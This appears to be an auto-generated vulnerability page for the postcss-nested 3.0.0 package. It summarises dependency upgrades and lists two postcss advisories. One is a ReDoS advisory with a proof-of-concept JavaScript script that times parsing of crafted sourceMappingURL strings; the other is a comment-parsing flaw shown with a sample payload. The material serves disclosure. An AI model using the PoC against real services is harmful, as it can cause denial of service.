PostCSS Nested is a popular PostCSS plugin that empowers developers to write more concise and readable CSS by enabling Sass-like nested rules. Version 3.0.0 brings key updates compared to the previous stable version, 2.1.2, making it an alluring choice for modern CSS workflows.
The primary dependency upgrade lies in postcss-selector-parser, jumping from version 2.2.3 to version 3.1.1. This suggests improvements in selector parsing capabilities that could translate to better handling of complex nested structures. Crucially, the core postcss dependency is also updated from version 6.0.9 to ^6.0.14, likely bringing performance enhancements and bug fixes from the underlying PostCSS engine.
From a developer perspective, the upgrade to version 3.0.0 implies boosted syntax compatibility and potentially improved processing speed thanks to upgraded core dependencies. While the description remains consistent in functionality -- unwrapping nested rules like Sass -- the underlying library improvements suggest enhanced stability and efficiency. Developers should note the updated peer dependency requirements for postcss when integrating this plugin into their projects. Furthermore, the shift in the development dependencies, particularly the upgrades with jest and eslint tooling, suggests a commitment to robust testing and code quality in version 3.0.0.
All the vulnerabilities related to the version 3.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.